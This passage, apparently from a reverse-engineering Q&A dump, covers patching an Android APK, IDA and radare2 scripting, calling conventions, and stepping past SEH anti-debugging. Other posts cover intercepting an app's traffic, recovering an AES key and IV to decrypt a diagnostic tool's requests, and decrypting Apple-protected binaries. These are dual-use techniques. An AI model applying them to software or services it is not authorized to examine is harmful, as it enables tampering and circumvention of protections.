Landroid/widget/Toast;->show()V\n        .line 15\n        :cond_0\n        return-void\n    .end method\n

    \n\n

    i don't know why this happen?

    \n", "Title": "verifyError in youtube android app modification", "Tags": "|decompilation|android|obfuscation|apk|byte-code|", "Answer": "

    I found the problem after reviewing the code, it's for setting v1 (variable register), here:

    \n\n
    const-string v1, \"ACTION_POWER_CONNECTED\"\n
    \n\n

    V1 are used before in this line :

    \n\n
    const/4 v1, 0x0\n
    \n\n

    and i reuse it! so i rename it to v3 and problem solved.

    \n" }, { "Id": "18173", "CreationDate": "2018-05-04T21:19:09.150", "Body": "

    After reading the ins and outs of compilation differences between C# and C++ , my question is, cant we compile the C#application (or dll) with Visual Studio (or with other program), so similarly to C++ it stripped out many information during compilation and made an app which will be hard for decompilation like C++ file.

    \n", "Title": "Compile C# like C++?", "Tags": "|c++|compilers|c#|", "Answer": "

    There are a number of options:

    \n\n
      \n
    • C# code can be compiled to native code (like C++ compilation) using Ngen.exe or .NET Native. Although the IL code and metadata might still be required by the runtime.
      • \n
    • All kinds of information that is contained in an assembly such as type names, variable names, method names, strings, and constants can be obfuscated. This makes the purpose of a construct difficult to guess just by looking at its name. This makes an assembly more like a native binary that is stripped of debugging information, except that IL code is still much easier to decompile than native code in general. IL instructions cannot be obfuscated as easily.
      • \n
    • Obfuscate or encrypt everything \"managed\" including the IL code and modify the native entry point of the assembly so that it calls a native function that will deobfuscate or decrypt (potentially on-demand or as-needed) IL code and metadata. The native function may call an external native library to do the job. This obviously makes decompilation much harder than even decompiling plain native code, but it comes at a run-time performance cost when execute the code. The previous two techniques have basically no performance overhead.
      • \n
    \n" }, { "Id": "18179", "CreationDate": "2018-05-05T07:45:15.413", "Body": "

    I'm writing an IDC script which accepts a structure and does some processing. Currently, I have to call it by typing structure names. What I want is to make it use the structure under cursor in \"Structures\" window so I can save a lot of typing. Is there any way to do this?

    \n\n

    Tried ScreenEA(). It returns the address in \"Disassembly\" window instead of a structure id.

    \n\n

    IDAPython code is also acceptable.

    \n", "Title": "IDC: Get structure id under cursor in \"Structures\" window?", "Tags": "|ida|idapython|", "Answer": "

    May be bit of an odd question - but how do you run the script? Hotkeys don't work while the structure view is open, and if you run a script via Alt+F7 for example the cursor position changes.

    \n\n

    That said, one solution that may be good enough:

    \n\n
    import ida_kernwin\n\nret = ida_kernwin.get_highlight(ida_kernwin.get_current_widget())\nif ret and ret[1]:\n    print \"Current highlight: %s\" % ret[0]\n
    \n\n

    Basically, you need to click the structure name so it's highlighted (yellow), then the above code will print the struct name.

    \n" }, { "Id": "18180", "CreationDate": "2018-05-05T10:10:42.240", "Body": "

    With Microsoft Visual C++ executables, I often run into decompilations like this:

    \n\n
    void __cdecl Pbdf::ReadString(char *dst, Pbdf *pbdfOrLength)\n{\n    Pbdf *pbdf; // esi\n\n    pbdf = pbdfOrLength;\n    Pbdf::ReadBytes(&pbdfOrLength, 1, pbdfOrLength);\n    Pbdf::ReadBytes(dst, (unsigned __int8)pbdfOrLength, pbdf);\n    dst[(unsigned __int8)pbdfOrLength] = 0;\n}\n
    \n\n

    The function is actually more like this (as seen in a Watcom executable doing the same thing):

    \n\n
    void __usercall Pbdf::ReadString(char *dst@<eax>, Pbdf *pbdf@<edx>)\n{\n    unsigned __int8 length; // [esp+0h] [ebp-14h]\n\n    Pbdf::ReadBytes(pbdf, &length, 1u);\n    Pbdf::ReadBytes(pbdf, dst, length);\n    *((_BYTE *)dst + length) = 0;\n}\n
    \n\n

    So, from a Pbdf file-like struct, it's reading a single byte determining the number of following bytes to read into a buffer, and terminates that buffer with a 0.

    \n\n

    However, in the MSVC decompilation, you can see it merged the length and Pbdf struct into one variable, causing me to name the variable \"pbdfOrLength\".

    \n\n

    Is it somehow possible to tell the decompiler to \"split\" these variables up / handle them as two separate ones, to get an output similar to what is seen in Watcom?

    \n", "Title": "Split variable in Hexrays decompiler?", "Tags": "|ida|hexrays|decompiler|msvc|", "Answer": "

    I don't think there's a way to add a new function variable, since the decompiler creates those based on registers and stack locations.

    \n\n

    However, in situations where it's really annoying, creating a union type in the Structure viewer can be helpful.

    \n\n

    \"Union

    \n\n

    Then, in your decompiler, set the type of the variable to the union type (Y is the keyboard shortcut).\n\"variable

    \n\n

    In the disassembly, depending on the variable usage, you can use \"Alt-Y\" to select the appropriate union field. (it's also accessible in the right click menu)\n\"Union

    \n" }, { "Id": "18182", "CreationDate": "2018-05-05T15:06:57.703", "Body": "

    I'm starting to learn amd86_64 calling convention and how it calls params and clean the stack but the concept hasn't sunk in yet, so i would like to get a help reading the params as this might clear the confusion for me in the future. I used the same function on a different processor architecture before but i'm sure the signature has changed by the devs because I tried to call it same as before but it crashes every time, here's the old signature:

    \n\n
    void(*DrawText)(int, float x, float y, int color, const char * text)\n
    \n\n

    Here's the assembly for the function in amd86_64 starting from the caller function:

    \n\n
        push    rbp\n    mov     rbp, rsp\n    push    r15\n    push    r14\n    push    r13\n    push    r12\n    push    rbx\n    sub     rsp, 178h\n    lea     rdi, [rbp+var_108]\n    mov     esi, 1\n    xor     edx, edx\n    call    sub_937750\n    lea     rax, dword_1885C10\n    vcvtsi2ss xmm0, xmm0, dword ptr [rax+54h]\n    vmovss  [rbp+var_164], xmm0\n    vcvtsi2ss xmm0, xmm0, dword ptr [rax+58h]\n    vmovss  [rbp+var_168], xmm0\n    lea     rsi, a30f_1\n    vmovss  xmm0, dword ptr cs:qword_10799B8\n    xor     edi, edi\n    call    sub_A0E930\n    lea     rcx, qword_17FAB50\n    mov     rcx, [rcx]\n    cmp     byte ptr [rcx+2E87h], 0\n    jnz     loc_4994\n    cmp     byte ptr [rcx+2E81h], 0\n    jz      loc_4994\n    mov     eax, eax\n    vcvtsi2ss xmm0, xmm0, rax\n    vmovss  xmm1, [rbp+var_168]\n    vsubss  xmm0, xmm1, xmm0\n    lea     rax, unk_1871D60\n    vmovss  xmm2, dword ptr [rax]\n    vxorps  xmm1, xmm1, xmm1\n    vucomiss xmm2, xmm1\n    jbe     loc_3E5E\n    vmovss  xmm1, dword ptr cs:qword_10799B8\n    vdivss  xmm1, xmm1, xmm2\n    vmovss  [rbp+var_16C], xmm1\n    vcvtss2sd xmm2, xmm2, xmm2\n    lea     rdi, [rbp+var_108]\n    lea     rdx, a62fFps\n    mov     eax, 0FF0000FFh\n    mov     ecx, 0FF00FFFFh\n    mov     r14d, 0FF00FF00h\n    vucomiss xmm1, dword ptr cs:qword_10799B8+4\n    cmova   r14d, ecx\n    vaddss  xmm1, xmm1, dword ptr cs:qword_10799B8+8\n    vucomiss xmm1, dword ptr cs:qword_10799B8+0Ch\n    cmova   r14d, eax\n    vmovss  [rbp+var_168], xmm0\n    vmovss  xmm1, [rbp+var_164]\n    mov     esi, r14d\n    mov     al, 3\n    call    DrawText\n
    \n\n

    Here's what I gathered so far (not sure if it's right though), 1st arg is a pointer lea rdi, [rbp+var_108] 2nd and 3rd are floats which is the positioning coordinates:

    \n\n
    vmovss  xmm1, dword ptr cs:qword_10799B8\nvdivss  xmm1, xmm1, xmm2\nvmovss  [rbp+var_16C], xmm1\nvcvtss2sd xmm2, xmm2, xmm2\n
    \n\n

    4th and 6th are int's (hex code for rgb colors I assume) mov esi, r14d and mov ecx, 0FF00FFFFh the 5th arg is a char pointer lea rdx, a62fFps. The function doesn't return anything so i'm sure it's a void.

    \n\n
    void(*DrawText)(int *, float x, float y, int color, int, const char * text)\n
    \n\n

    I tried to call this way but it also crashes, please let me know if I got something wrong and explain stuff because i'm little newbee when it comes to assembly.

    \n\n

    Note: This is not a PLEASE DO IT FOR ME question but rather explain how do I read the params properly, I don't mind posting the final result at the end of the answer though.

    \n", "Title": "Reading params of a text engine function amd86_64", "Tags": "|assembly|x86-64|arguments|", "Answer": "

    You need to read from the bottom up. I have no experience with the AMD64 calling convention but here's my take:

    \n\n

    Wikipedia says:

    \n\n
    \n

    The first six integer or pointer arguments are passed in registers RDI, RSI, RDX, RCX, R8, R9 (R10 is used as a static chain pointer in case of nested functions[19]:21), while XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 and XMM7 are used for certain floating point arguments.

    \n
    \n\n

    Judging from that I'd say the following mapping would be right then:

    \n\n
    Argument #  | Register   | Desc\n------------|------------|---------\n1           | rdi        | int *\n2           | xmm0       | x\n3           | xmm1       | y\n4           | rsi        | int color\n5           | rdx        | unnamed int\n6           | rcx        | const char *text\n
    \n\n

    The following was my mistake as I misread the post, the old signature posted at the top agrees with me, the one at the bottom does not

    \n\n

    but when I worked through your code reading bottom up it didn't fit:

    \n\n
    lea     rdx, a62fFps\n
    \n\n

    that loads the text to print into rdx but if above mapping would be right, rdx should be some unnamed int, and only the next argument would be the text.

    \n\n

    Note that this may be my fault because I may have missed some nuance of AMD64.

    \n\n

    End of mistake

    \n\n

    Back to what does work:

    \n\n

    The first argument, the pointer, should be in rdi. If you read upwards,

    \n\n
    lea     rdi, [rbp+var_108]\n
    \n\n

    is the first line to write to rdi, so that's your pointer (it fits the type). Floats seem to be passed via xmm0 and xmm1 so those will be x and y. The color is the 2nd non-float argument, which would be in rsi and reading the code we find:

    \n\n
    mov     esi, r14d\n
    \n\n

    and rsi contains esi, so that would be your color, only it's 32 bit in size. If you read the code, it also seems to fit the color type.

    \n\n

    Then above problem appears where I was expecting another int but the next argument seems to be the text instead.

    \n" }, { "Id": "18192", "CreationDate": "2018-05-06T20:36:27.737", "Body": "

    I have some code which makes use of the Structured Exception Handler in order to employ some anti-debugging voodoo. It executes a series of instructions and I need to get the correct input. I can see the instructions and can reverse the ones that work directly with my input, but there is some background work (which happens at [esi]) - that also plays a part in the challenge. If I could follow the instructions step by step, I could make some great progress.

    \n\n

    \"first

    \n\n

    \"instructions

    \n\n

    \"second

    \n\n

    As I was saying, there are sets of instructions which work on my input. Let's say I am at 0x402DC0. The problem is that once I get to 0xCC, the debugger alerts me of the BREAKPOINT_EXCEPTION (I choose to Step Over) and then, instead of taking me (nicely and slowly) to the address 0x402B5D, the debugger skips to 0x402F1E (this behaviour repeats itself with another 8 sets of instructions each with its own exception handler thingy). The instructions get executed though - I figured it out giving the program different inputs.

    \n\n

    I assume the program creates exceptions then just makes the jumps using SEH. The anti-debugging thingy is the fact that it doesn't let me go step by step, I suppose.

    \n\n

    The question: Can I somehow step into the function at 0x402B5D, then going step by step just like when I am debugging a simple program?

    \n\n

    I have tried modifying EIP and then Stepping Into (also swallowing the exception), but this does not produce the desired result because the instruction at 0x402B6D will produce another exception - I access [esi] which is out of the memory map of the program.

    \n\n

    Also, is there any way I could find the instructions which make up the Exception Handler (in my program)? \nReading up on it (http://bytepointer.com/resources/pietrek_crash_course_depths_of_win32_seh.htm) gave me a basic understanding of the mechanics under the hood. I've also tried to follow the pointer in the SEH chain, but the kernel functions don't help much.

    \n\n

    The registers (at least some of them) are clearly modified because the program goes on flawlessly (if I do not modify EIP). Can I find the function which modifies them?

    \n", "Title": "\"Stepping Into\" Exception Handler", "Tags": "|seh|", "Answer": "

    from your second screen shot [ebp+10] will point to _CONTEXT \nebx = [ebp+10] ->

    \n\n
    ebx == CONTEXT->FirstMember ==ContextFlags\nebx+4 ==  CONTEXT->SecondMember  == Dr0 (Debug Register 0)\nebx+a0 ==  Register Esi\nebx + b8 == Eip (this is where the execution will continue )\nebx+b0 == Eax\n
    \n\n

    if you have a hardware breakpoint you will get a different esi (see the xor) \nwhen you resume
    \nalso your eax is xorred with some magic constant 0xde266de

    \n\n

    and on resuming the ax is used
    \nbut after this one needs to see the further handlers

    \n\n

    the second address 402ef6 also seems to end in an int3 but this time the exception handler is 402d95 so you have more spleunking

    \n\n

    you can single step just set a breakpoint in ntdll!ExecuteHandler2 (win7 32 bit) \nand you will see a call ecx
    \nthis call will normally call the handler

    \n\n
    0:000> uf ntdll!ExecuteHandler2\nntdll!ExecuteHandler2:\n775371d3 55              push    ebp\n775371d4 8bec            mov     ebp,esp\n775371d6 ff750c          push    dword ptr [ebp+0Ch]\n775371d9 52              push    edx\n775371da 64ff3500000000  push    dword ptr fs:[0]\n775371e1 64892500000000  mov     dword ptr fs:[0],esp\n775371e8 ff7514          push    dword ptr [ebp+14h]\n775371eb ff7510          push    dword ptr [ebp+10h]\n775371ee ff750c          push    dword ptr [ebp+0Ch]\n775371f1 ff7508          push    dword ptr [ebp+8]\n775371f4 8b4d18          mov     ecx,dword ptr [ebp+18h]\n775371f7 ffd1            call    ecx <<<<<<<<<<<<<<<<<<<<<<<<<<<\n775371f9 648b2500000000  mov     esp,dword ptr fs:[0]\n77537200 648f0500000000  pop     dword ptr fs:[0]\n77537207 8be5            mov     esp,ebp\n77537209 5d              pop     ebp\n7753720a c21400          ret     14h\n
    \n\n

    context when on handler start

    \n\n
    0:000> r\neax=00000000 ebx=00000000 ecx=0040107f edx=7753720d esi=00000000 edi=00000000\neip=0040107f esp=0012fb90 ebp=0012fbb0 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nexcept1!HANDLER:\n0040107f 53              push    ebx\n0:000> ?? (ntdll!_context *) @@masm(poi(ebp+10))\nstruct _CONTEXT * 0x0012fc8c\n   +0x000 ContextFlags     : 0x1003f\n   +0x004 Dr0              : 0\n   +0x008 Dr1              : 0\n   +0x00c Dr2              : 0\n   +0x010 Dr3              : 0\n   +0x014 Dr6              : 0\n   +0x018 Dr7              : 0\n   +0x01c FloatSave        : _FLOATING_SAVE_AREA\n   +0x08c SegGs            : 0\n   +0x090 SegFs            : 0x3b\n   +0x094 SegEs            : 0x23\n   +0x098 SegDs            : 0x23\n   +0x09c Edi              : 0\n   +0x0a0 Esi              : 0\n   +0x0a4 Ebx              : 0x7ffd4000\n   +0x0a8 Edx              : 0x775370f4\n   +0x0ac Ecx              : 0\n   +0x0b0 Eax              : 0\n   +0x0b4 Ebp              : 0x12ff94\n   +0x0b8 Eip              : 0x401072\n   +0x0bc SegCs            : 0x1b\n   +0x0c0 EFlags           : 0x10246\n   +0x0c4 Esp              : 0x12ff70\n   +0x0c8 SegSs            : 0x23\n   +0x0cc ExtendedRegisters : [512]  \"???\"\n
    \n\n

    check the address where exception happened in the CONTEXT->Eip

    \n\n
    0:000> u 401072 l1\nexcept1!PROTECTED_AREA+0x1f:\n00401072 f7f1            div     eax,ecx\n
    \n\n

    and you can see both eax , and ecx are 0

    \n\n

    and you can see the Exception Code

    \n\n
    0:000> dd poi(ebp+8) l1\n0012fc78  c0000094  <<<<<<<<< divide by zero\n
    \n" }, { "Id": "18199", "CreationDate": "2018-05-07T07:54:15.110", "Body": "

    Scenario

    \n\n

    On my phone I have an app. When I login into the app and goto my profile there is an profile picture of me. I want to that picture because I need it. Simple way is just goto an local shop an take an picture but the cool way would be to get that image from the app.

    \n\n

    Question

    \n\n

    How can I get the image from the app on my mobile?

    \n\n

    How I think it could be done:

    \n\n

    Use wireshark listen to the mobile traffic from the app and somehow try to get the image. Is this the right way or are there better ones?

    \n\n

    Information

    \n\n

    Android 8.1.1

    \n", "Title": "How to reverse engineer mobile app image?", "Tags": "|android|wireshark|", "Answer": "

    To get an image from an mobile app you first want to know if it is stored on your device or if it is loaded when you log in to your account. In my case it was an profile picture witch will be loaded when you login into your app. In that case you can do the following:

    \n\n
      \n
    1. The first thing to do is Download and install Packet Capture. This app can be used to sniff the network traffic of any app you want.
      2. \n
    2. Open the Packet Capture app and click on the `GreenArrow/triangle, select the wanted app you want to listen to. (The first time you have to create a certificate, but this is very easy, just follow the instructions on the screen)
      3. \n
    3. If a red stop button appears on the top it means that packet capture is now listening to all the data that the app uses.
      4. \n
    4. Open the app you want to listen to and go to the page where the image will be loaded. Now you can stop Packet Capture by clicking on the red stop button
      5. \n
    5. When you have stopped the listening you now see in a list a new row appearing with the total captures the app Packet Capture has done. These are the network requests and responses that the app has done. Click on a row and all the captures will be shown.
      6. \n
    6. You have to search all the captures and check the json response and see if you see any link from the image page. When you have found the link, then copy and save it for later.
      7. \n
    \n\n

    Now you have the image link it depends on the current situation what you want to do.

    \n\n
      \n
    1. The link can be to an HTML document with the foto. Then you can simply save the image.
      2. \n
    2. The link can be from an api witch returns some binary data.
      3. \n
    \n\n

    In my case it was an API call. Before I created a script to make that API call I wanted to check the source code of the app and see if there are any descriptions or decoding needs to be done. The following steps are not necessary, but if there is some encryption is encoding you can do the following.

    \n\n
      \n

    1. Get the APK file from the app and save it to your phone, this can be done with this app

      2. \n

    2. Convert the APK to the Java source code, this can be done with this Site. Download the source code and install an editor for it.

      3. \n
    3. Now you have the source code find the code where the image will be loaded from the API or just an HTTP call. And just find any clues on decryption decoding or autoriensation that the app uses. You have to figure this out because every situation can be diffrent. In my sittation the app did not had any autherisation for the API and the data returend whas not encrypted. I just searched for the code where the my profile picture was stored form there I searched to all refrences and found the place where the profile picture was loaded from an API call.
      4. \n
    \n\n

    Now I know where I can get my image from I can create an C# program to get the bytes from the API and convert that to an image.

    \n\n
    // Create a request for the URL.   \nWebRequest request = WebRequest.Create(\n            \"weburl/to/the/api\");\n\n// Get the response.  \nWebResponse response = request.GetResponse();\n\n// Get the stream containing content returned by the server.  \nStream dataStream = response.GetResponseStream();\n\nvar bitmap = Bitmap.FromStream(dataStream);\n\nresponse.Close();\n\nbitmap.Save(\"mypicture.png\");\n
    \n\n

    If your device is rooted you may try to search the /mnt/sdcard/Android/data/ for folder where the application stores its temporary data. Most likely your profile picture is cached. But it may be stored as BLOB in some database file. Actualy you don't always need root access to access the cache of an app. Go to the folder: /mnt/sdcard/Android/data//Cache. If this folder is not located it can be that the app has made the cache invisible in this case you need to root you phone.

    \n" }, { "Id": "18206", "CreationDate": "2018-05-07T23:46:42.680", "Body": "

    Background: I am currently looking to make some diagnostic software interoperable with other software, but all communication that occurs in this software is encrypted with AES-128-CBC. A sample request is included below. The binary is also linked to at the bottom for those who wish to examine it.

    \n\n
    {\n  \"api-version\": \"1.0\",\n  \"mac-model\": 69,\n  \"action\": 1,\n  \"timestamp\": 1517862344000,\n  \"service-location\": false,\n  \"ksess\": \"X+syUFRBrn9ytyg0qDaG/+W7wN6MiuHyJzNuLj/y/vbjpeDJoZjAP65xTWiSLrgJJMCgAyoKc8Ss3oUjq1gRYeTz8oEjjUmU2ym+f6pwoVsrVJ+EtQ/WDnhENjdAjE2vNOuiD1v/ncSk/gk1AUiZwK8tpPPEytSv0R9XlVtVpg8KlK1SF66Vl2hRjovko9uqIxs98iymZ42iWkff39DQoclbngKTbLItUeXUbzwBI6thXkNiTYDmdm3SZUJrK6TS7ZoOxH/4eEJXDprf9pImEg7r0PmE4pPXSXSmuLVPAwHjWp0riVIVw0DGgQ4cfABmCh/oFxxl/Q5rzkvsKQuKeg==\",\n  \"hmac\": \"89FA90002E4FA47C83FAEF1AC378B51D5A1CD2DB\",\n  \"data\": \"MtN0XjxexXRb9GNh3pSJNW0jxvLZm45alwSbJ40fVXowOnKQpaD7Yc3exBCvmw1z//a+iQtOdpBV/NdHe78hj8oxQJ+4iBDsM6tv6PEB2OeNFJnKuQ5R0azq527npjMAuPWvZszotJkB7FBiF3YjbK6QPCBDURybanqUCJrO3Yao6+Qfa4P41VFbZab0FhoJ\",\n  \"data2\": \"xgffrf24+Poxd6iS+r7nC5KDD6s=\"\n}\n
    \n\n

    I have worked out how the AES key is generated, and have been able decrypt the encrypted data, except for the first block, which obviously uses the IV during encryption. The IV is generated based on the timestamp, I have included a picture of the disassembled function below:

    \n\n

    \"Screenshot

    \n\n

    From what I can tell, the function is basically doing this (Objective C):

    \n\n
    double timestamp = 1517862344;\ndouble t1 = timestamp * 1000.0;\nuint64_t t2 = (uint64_t)timestamp;\nNSData *data = [NSData dataWithBytes:&t2 length:16];\nNSLog(@\"%@\", data);\n
    \n\n

    Where the data logged is the hex string for the given integer. This is further backed up with the fact that if I decrypt the base64 encoded data

    \n\n
    elUxn0rJeP3/6rnm9XnTmzJIok0VUOrE6lceAWZsLXiz1tX9i+KhfWcfdq12FW3gbfSpjNu+glVhBA+0rM5RnB4QzWp1CRrQKs1YQ/B/H4F8i7/BBhlUVD1bGNDJdW0Uf4E7RzyBVcFAaLv1pjY+XEMcx2ED6bdNvUZfC5LKI+Qk2bsQiheOLpAGLIhWUQ8E\n
    \n\n

    with the key (hex) 7286276c0adb764ff1926bde8a12cbe6 and IV 4055a56761010000000054557a167642 (output from the aforementioned Obj C code, as (128 AES CBC w/ PKCS7 padding) the resulting decrypted data is:

    \n\n
    {\"reques\u00cb4\u00b6\u00c6\u00f0\u00cetem-serial-number\":\"C02S213LG8WQ\",\"system-environment\":\"EFI\",\"diagnostic-version\":\"1.1.15\",\"netboot-image\":\"EFI\"}}\n
    \n\n

    where the correct output would be:

    \n\n
    {\"request\":{\"system-serial-number\":\"C02S213LG8WQ\",\"system-environment\":\"EFI\",\"diagnostic-version\":\"1.1.15\",\"netboot-image\":\"EFI\"}}\n
    \n\n

    Hence, my question is, given that the only data that is transmitted is that which is present in the sample request, and the decryption of the first block is partially successful, what have I misinterpreted in terms of generating the IV that enables one to properly decrypt the last part of the first block? A secondary question, if someone knows the answer, is why is it that the first block is successfully partially decrypted even when the IV is not completely correct?

    \n\n

    Link to the binary: https://www.dropbox.com/s/03mznlgsflkfn42/TA?dl=0

    \n", "Title": "How is the IV generated from a timestamp based on this function?", "Tags": "|ida|disassembly|binary-analysis|x86|decryption|", "Answer": "

    In AES CBC if you're encrypting the data, it's YOU who specify this IV, and usually it's just random bytes. So basically you don't care about how this Objective C code does this randomization, just use your own random data. IV is then stored within the encrypted data, at the very beginning.

    \n\n

    At the decryption side, AES CBC gets IV from the encrypted data and just uses it.

    \n\n

    So, unless you're doing academically correct reversing, you don't need to spend time on understanding how random data is generated in this particular case.

    \n" }, { "Id": "18207", "CreationDate": "2018-05-08T04:18:11.493", "Body": "

    I am learning to analyze binaries using radare2 and have been confused about what occurs within imported functions. In the binary below, titled Lab2B, I statically disassembled the binary and then disassembled one of the imported library functions, sym.imp.printf. As you can see below it merely lists one instruction: jmp dword [reloc.printf]. When I seek to the location [reloc.printf] and I print the disassembled functions contained at it, the command line prints \"Cannot find function at 0x0804a00c\". I have noticed the same behavior with all of the other imported functions. They often have a single instruction that points to an address that doesn't contain any instructions.

    \n\n

    Why are there no instructions contained at the address that the instruction tells the compiler to jump to?

    \n\n

    \"enter

    \n", "Title": "Why do many imported functions jump to addresses that do not contain instructions?", "Tags": "|assembly|x86|radare2|functions|", "Answer": "

    I assume you are statically inspecting the program, hence, the addresses of the imported symbols wasn't calculated yet by the linker. To understand that better you need to get familiar with two terms, PLT and GOT. Anyway, even if you are debugging the file, these are not functiona but a table with pointers. So pdf isn't what you should try. Give a shot to pd.

    \n\n

    Dynamic Linking

    \n\n

    The Procedure Linkage Table is a memory structure that contains a code stub for external functions that their addresses are unknown at the time of linking.

    \n\n

    Whenever we see a CALL instruction to a function in the .text segment it doesn\u2019t call the function directly. Instead, it calls the stub code at the PLT, say func_name@plt. The stub then jumps to the address listed for this function in the Global Offset Table (GOT). If it is the first CALL to this function, the GOT entry will point back to the PLT which in turn would call a dynamic linker that will resolve the real address of the desired function. The next time that func_name@plt is called, the stub directly obtains the function address from the GOT.

    \n\n

    To read more about the linking process, I highly recommend this series of articles about linkers by Ian Lance Taylor.

    \n\n
    \n\n

    Radare2 is detecting the addresses of the PLT and GOT. Where you see sym.imp.printf it is actually the reserved address for printf() int the PLT. When you see reloc.printf is the address reserved for it in the GOT.

    \n\n

    By using iS you can list the sections of PLT and GOT.

    \n" }, { "Id": "18217", "CreationDate": "2018-05-09T03:05:07.733", "Body": "

    Have a functioning r2pipe script, but there's a need for hitting crtl-c to continue near the breakpoint(not a major issue,) however the script does not pause for input when the crackme asks for user input like it does in regular r2 command line. Whats the best way of sending input to the binary?\nThis tree of inputs is required near the end of the executable.\nCan't manage it to prompt even for the first.\nNo problems with script except for the input issue.

    \n\n
    import r2pipe\nr = r2pipe.open('crackme, flags=['-d'])\nr.cmd('e dbg.profile=robot.rr2')\nr.cmd('db 0x080486d8;') \nprint(r.cmd('dc'))\nprint(r.cmd('dc'))\nsep=' '\n\nvalue1=int(r.cmd('? [ebp+0xc];').split(sep, 1)[0])\nvalue2=int(r.cmd('? [ebp+0x10];').split(sep, 1)[0])\nhex_operator=r.cmd('dr eax')\noperator=r.cmd('? '+(hex_operator))\n\nif '+' in operator:\n    answer=value1+value2\n\nelif '-' in operator:\n    answer=value1-value2\n\nprint(r.cmd('dc'))\n
    \n\n

    Should prompt for input down here, but the execution just ends after the \"what's the password\"\nOR if I enter the r2 commands without r2pipe starting with: \n r2 -d crackme -c \"e dbg.profile=robot.rr2\"\nit does prompt me for input but rr2 still does not input whats in input.txt

    \n\n

    in my .rr2:

    \n\n
    #!/usr/bin/rarun2\n
    \n\n

    have tried

    \n\n
    input=input.txt \n
    \n\n

    and

    \n\n
    stdin=input.txt\n
    \n\n

    input.txt is just a string

    \n\n

    is it possible rarun's input or stdin directives are not compatible or something?

    \n", "Title": "r2pipe won't prompt for user input like the binary does in r2 debugger mode", "Tags": "|binary-analysis|radare2|", "Answer": "

    I think you're using some of the old version of r2, so my answer will not address that and show you how to do it with the latest one.

    \n\n

    The problem is with your first line, or wrong assumption that starting the debug session and applying rarun2 file will automatically get applied. It's not.

    \n\n

    So instead of connecting to r2 engine like this r = r2pipe.open('crackme', flags=['-d']) do this instead

    \n\n
    r = r2pipe.open('crackme') #no debugging flag\nr.cmd('e dbg.profile=robot.rr2')\nr.cmd('ood') #reopen the file in debug mode - this will apply the dbg.profile settings\n...\n
    \n\n

    With this approach, it will correctly map the settings in rr2 to the debugging session and in case you put input.txt it will inform that the file doesn't exist (it treats this as a file).

    \n\n

    But even with that approach, this crackme does some strange modifications to streams that are hard to follow. But at least with this change, you would be able to continue the investigation.

    \n" }, { "Id": "18223", "CreationDate": "2018-05-09T21:32:56.770", "Body": "

    I'm trying to disassemble Dock.app on macOS Sierra, and IDA is giving me this error message:

    \n\n

    \"enter

    \n\n

    What does this mean?

    \n", "Title": "IDA Pro: \"File is apple protected\"", "Tags": "|ida|macos|", "Answer": "

    Here you have more details about Apple Binary Protection:\nCreating undetected malware for OS X

    \n\n

    Setting SMC_DEVICE_KEY value in ~/.idapro/macho.cfg works fine.

    \n\n

    Hopper Disassembler out of the box can decrypt those binaries too.

    \n\n

    At last, you can also run deprotect from class-dump to decrypt those binaries (__TEXT,__text) section.

    \n" }, { "Id": "18226", "CreationDate": "2018-05-10T14:02:29.710", "Body": "

    I see word NASM, MASM, Intel, AT&T. I am confused between them. Is it different types of assembly?

    \n", "Title": "NASM, MASM, Intel, AT&T' syntax?", "Tags": "|assembly|nasm|intel|", "Answer": "

    You are confusing several things.

    \n

    nasm, masm and gas (GNU Assembler) are tools that compile an x86 assembly text file into an executable. Each of them do have a specific syntax to specify your program. But, they share a lot on assembly instructions.

    \n

    Then, Intel and AT&T are specific syntax to write x86 assembly programs. In fact, nasm and masm use the Intel syntax, where gas is using the AT&T syntax.

    \n" }, { "Id": "18238", "CreationDate": "2018-05-11T15:25:53.100", "Body": "

    I want to extract a generic signature of a function in IDA and wanted to use just the opcodes of the instructions without its operands.

    \n\n

    Example:

    \n\n

    \"enter

    \n\n

    From the first instruction I want to know the bytes that tell the disassembler that it is a MOVZX instruction.

    \n\n

    From the second and third one the ones that say it is a MOV instruction (probably 8B).

    \n\n

    And so on..

    \n\n

    I'm aware that some instructions have modifiers. I just want to know the bytes that translate to certain mnemonic.

    \n", "Title": "Know which bytes are opcode and which operands in IDA", "Tags": "|ida|disassembly|disassemblers|", "Answer": "

    In general this is not solvable since the opcode and operands may be sharing the same bytes (e. g. some instructions encode part of their opcode in the mod R/M byte, which can also contain some of the operands at the same time), but you can get some approximation by inspecting the Operands array of the insn_t structure returned by the decode_insn function. The offb member of each op_t element is supposed to be the offset of the bytes corresponding to the operand in the instruction bytes.

    \n\n

    Note that it may be 0 since it\u2019s not always possible to determine operand location at the byte level, especially on non-x86 architectures. For more info check the ua.hpp header in the SDK.

    \n" }, { "Id": "18246", "CreationDate": "2018-05-12T13:00:05.050", "Body": "

    I need to add new case, so here is that I do.

    \n\n
      \n
    1. Copy the jump table for switch statement to 0048199C and add new ref to 4819C0.\n\"enter
      2. \n
    2. Add new instructions below \"enter
      3. \n
    3. Set new address 0048199C\"enter
      4. \n
    4. In the indirect table for switch statement (004061C4) change the one 7 to 8 \"enter
      5. \n
    5. Apply patches and try using a new case and see how that works. It's ok. The program does what I want.
      6. \n
    \n\n

    After that click F5 and finally got such error:\n\"enter

    \n\n

    What's wrong and how do I fix it? I'm using IDA v7.0.170914

    \n", "Title": "Hex-Rays can't parse switch (bad target for case)", "Tags": "|ida|x86|", "Answer": "

    I found a solution to my problem.

    \n\n
    Edit - Other - Specify switch idiom...\n
    \n\n

    Set new value for Number of elements: 9

    \n\n

    \"enter

    \n" }, { "Id": "18250", "CreationDate": "2018-05-13T00:59:26.717", "Body": "

    I am banging my head to figure out the checksum of a RF device, it seems to be a simple one but no luck so far...

    \n\n

    The first 3 bytes is the SyncWord then 9 bytes is the payload and the last byte presumably is the checksum.

    \n\n
              +-------+-------+-------+-------+ ... +--------+--------+\n          | byte0 | byte1 | byte2 | byte3 | ... | byte11 | byte12 |\n          +-------+-------+-------+-------+ ... +--------+--------+\n          <---- SyncWord (3) ----> <--- Payload (9) ----> <- CRC ->\n
    \n\n

    It seems some kind of linear function but I cannot figure it out.

    \n\n

    Any help will be appreciated!

    \n\n

    Some ordered output

    \n\n
